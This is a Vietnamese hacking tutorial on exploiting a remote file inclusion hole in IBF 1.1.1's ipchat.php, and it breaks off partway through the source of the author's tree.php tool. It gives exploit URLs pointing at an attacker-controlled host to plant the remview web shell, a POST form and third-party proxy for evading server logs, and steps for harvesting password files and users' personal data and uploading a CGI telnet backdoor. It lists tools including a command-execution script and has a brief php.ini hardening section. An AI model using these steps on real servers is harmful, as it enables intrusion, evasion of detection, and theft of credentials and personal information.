.Hack IBF 1.1.1 qua li ca file ipchat.php
trang này đã được đọc ln
http://[mc tiêu]/ipchat.php?root_path=http://www33.brinkster.com/nddt999/file/
sau đó bn có th xài remview qua địa ch:
htt://[mc tiêu]/conf_global.php?c=l
- để khai thác thành công li này thì máy ch phi cài forum ibf 1.1.1 chưa được patch li code
injection trong file ipchat.php, php.ini : register_globals=on & allow_url_fopen=on
nguyên nhân do file li code injection trong file ipchat.php. ni dung ca file này như sau:
<?
require $root_path."conf_global.php";>
...
?>
nếu cái server nào chưa được patch li này và cu hình php cho đăng kí biến toàn cc + truy cp
file remote thì chúng ta có th khai thác đại loi như sau:
http://[target]/ipchat?root_path=http://[attacker]/
c th là http://[mc tiêu]/ipchat.php?root_path=http://www33.brinkster.com/nddt999/file
thì nó dòng "require ... ;" trong file ipchat.php s là:
require "http://www33.brinkster.com/nddt999/file/conf_global.php";
file này s thay đổi ni dung ca file conf_global.php trên máy ch và cài remview vào đây. ( bn
xem 2 file http://www33.brinkster.com/nddt999/file/remview.php & base64.php s rõ, file
remview.php b thay đổi mt chút xíu cho phù hp)
- cho dù set quote đã được bt thì vn có th khai thác đưc đây. hihi, bn tham kho source-
code ca remview.php s rõ!
- mình ch li dng mt ch h ca forum IBF thôi. đây là mt đon trong file hướng dn cài đặt
"bn phi chmod 777 cho thư mc uploads và file conf_global.php trước khi tiến hành cài đặt
forum". quá t phi không? mình đã th upload file remview.php lên thư mc uploads nhưng nó
ch được set user/group là uid&gid đang có hiu lc hin ti, c th là
owner/group=nobody/nobody. khi safe mode đã được bt, nếu chy
http://target/uploads/remview.php thì nó chng chy đâu do owner/group là nobody/nobody khác
vi owner/group ca thư mc hin ti. vì vy ch có th kiếm cái file nào đó được chmod 777 mà
xài thôi. mình chn conf_global.php do file này default được set permisions là 777
à lưu ý bn ch nên chy dòng "http://[mc tiêu]/ipchat.php?
root_path=http://www33.brinkster.com/nddt999/file/" MT LN DUY NHT!
nếu chy "http://[mc tiêu]/ipchat.php?root_path=http://www33.brinkster.com/nddt999/file/" chúng
ta s b ghi nht kí ngay. file .log ca httpd như sau:
??/??/2003 - [111.222.333.444] GET /ipchat.php?
root_path=http://www33.brinkster.com/nddt999/file/ HTTP/1.0
để tránh ghi nht kí khi khai thác, bn to mt file html như sau:
<form action="http://[mc tiêu]/ipchat.php" method=post>
<input type="hidden" name=root_path value=http://www33.brinkster.com/nddt999/file/>
<input type=submit value=Go>
</form>
m IE, set li proxy là "proxy.ia2.marketscore.com" và sau đó chy file html va to. ok, nht kí
ca httpd s như sau:
??/??/2003 - proxy.ia2.marketscore.com [66.119.34.38] - POST /ipchat.php HTTP/1.0
tht s thì h chng biết địa ch ip ca chúng ta và cũng chng biết được chúng ta đã cài
remview.php bng cách nào na
- chúng ta tiếp tc vi vic leo thang quyn. sau khi bn upload file remview.php bn có th xài
đồ ngh này để đi kiếm chát vài th khác. các file bn cn để ý đến là .passwd, passwords.txt,
users.txt, config.php, ... chúng ta s thăm dò toàn b các file cha username & password. bn
cũng nên thu thp thêm vài thông tin khác như địa ch email, thông tin cá nhân ca các users mà
bn có th truy cp đến trên server. mt vn đề na là bn nên c tìm trên server file .cgi, .pl gp
li (thường nm trong thư mc cgi-bin) hoc các thư mc cgi mà chúng ta có th upload file cgi.
khi chế độ safemode đã được bt thì rt khó làm gì đưc. chúng ta nên chuyn sang xài cgi để
hack d hơn. hihi, bn c gng upload backdoor cgitelnet.pl lên server để xài nha.
- mt s đồ ngh php mà mình đã code (để h tr cho hack code injection thôi). uh, mình quên
viết sql.php ri
- http://www33.brinkster.com/nddt999/file/tree.php : dir tree, rt cn để tham dò toàn b cu trúc
ca thư mc public_html
- http://www33.brinkster.com/nddt999/file/phpinfo.php : xác định uid/gid đang có hiu lc và ly
thông tin t hàm phpinfo();
- http://www33.brinkster.com/nddt999/file/dir.php : lit kê 1 thư mc c th
- http://www33.brinkster.com/nddt999/file/url.php : upload file qua url:// (http:// & ftp://)
- http://www33.brinkster.com/nddt999/file/view.php : xem n dung ca 1 file c th trên máy ch
- http://www33.brinkster.com/nddt999/file/get.php : ly file t máy ch v máy mình
- http://www33.brinkster.com/nddt999/file/cmd.php : thc thi lnh h thng
my th này các bn nên code li tu theo hoàn cnh c th ca bn. riêng mình thì mình thích
nht là hai file tree.php & phpinfo.php mà mình đã code
* phòng th cho forum IBF ca bn (nói chung là cho PHP):
- xoá ngay file ipchat.php trên server
- chmod li cho file conf_global.php là 755
- cu hình li file php.ini như sau:
allow_url_fopen=off // không có phép ly file bng url://
disable_functions=system passthru exec popen mail" // vô hiu các hàm php nguy him
display_errors=off // không hin li php để đề phòng trường hp tiết l thông tin v thư mc đang
làm vic, dòng vn tin sql gp li và mt s thông tin khác ...
file_uploads=off // không cho phép upload file server (nếu bn thy không cn)
magic_quotes_gpc=on // bt quote
magic_quotes_runtime=on
magic_quotes_sybase=on
register_globals=off // không t động đăng kí biến toàn cc
safe_mode=on // bt chế độ an toàn cho PHP
safe_mode_exec_dir=/usr/none // không cho thi hành lnh h thng, bn thay "/usr/none" thành
tên thư mc nào khác mà không cha gì hết có gì hết và đã được set quyn an toàn
safe_mode_gid=on // bt chế độ an toàn so sánh gid/uid trước khi chy kch bn php
sql.safe_mode=on // bt chế độ an toàn trước khi vn tin sql
Sockets Support = disabled // vô hiu các hàm liên quan đến socket nếu ban không bao gi dùng
đến.
bn nên tham kho thêm tài liu php v hai hàm set_magic_quotes_runtime(1); & ini_set()
Code các file trên :
------- tree.php - Code by vkdt -------
<?
error_reporting(2047);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
if (function_exists("ob_start")) ob_start("ob_gzhandler");
$autovars1="path";
foreach (explode(" ",$autovars1) as $k=>$v)
if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v];
elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v];
elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v];
$autovars2="path";
if (get_magic_quotes_runtime() || get_magic_quotes_gpc())
foreach (explode(" ",$autovars2) as $k=>$v)
if (isset($$v)) $$v=stripslashes($$v);
if (!isset($path)) $path=realpath(".");
$path=str_replace("\\","/",$path);
$html=<<<html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>$path</title>
<style>
body,td{font-family:Fixedsys}
a{color:#0000ff}
</style>
</head>
<body bgcolor=#000000 text=#ffffff>
html;
echo $html;
dir_tree($path);
$html=<<<html
</body>
</html>
html;
echo $html;
exit;
function dir_tree($df) {
$dirs=array();
$files=array();
if ($dir=@opendir($df)) {
while (($file=readdir($dir))!=false) {
if ($file=="." || $file=="..") continue;
if (@is_dir("$df/$file")) {
$dirs[]=$file;
} elseif (@is_file("$df/$file")) {
$files[]=$file;
}
}
closedir($dir);
sort($dirs);
sort($files);
if (count($dirs) || count($files)) {
$perms=get_perms(fileperms($df));
if (function_exists("posix_getpwuid")) {
$uid=posix_getpwuid(fileowner($df));
$owner=$uid["name"];
} else $owner="";
if (function_exists("posix_getgrgid")) {
$gid=posix_getgrgid(filegroup($df));
$group=$gid["name"];
} else $group="";
if ($owner=="" && $owner=="") $more=$perms;
else $more="$owner/$group $perms";
$html=<<<html
<p>$df ($more)
<table border=0 cellspacing=1 cellpadding=2 bgcolor=#ff0000>
<tr bgcolor=#000000>
<td><font color=#FFFF00>Name</font></td>
<td align=right><font color=#FFFF00>Size</font></td>
<td align=center><font color=#FFFF00>Type</font></td>
<td align=center><font color=#FFFF00>Modify</font></td>
<td align=center><font color=#FFFF00>Owner/Group</font></td>
<td align=center><font color=#FFFF00>Perms</font></td>
</tr>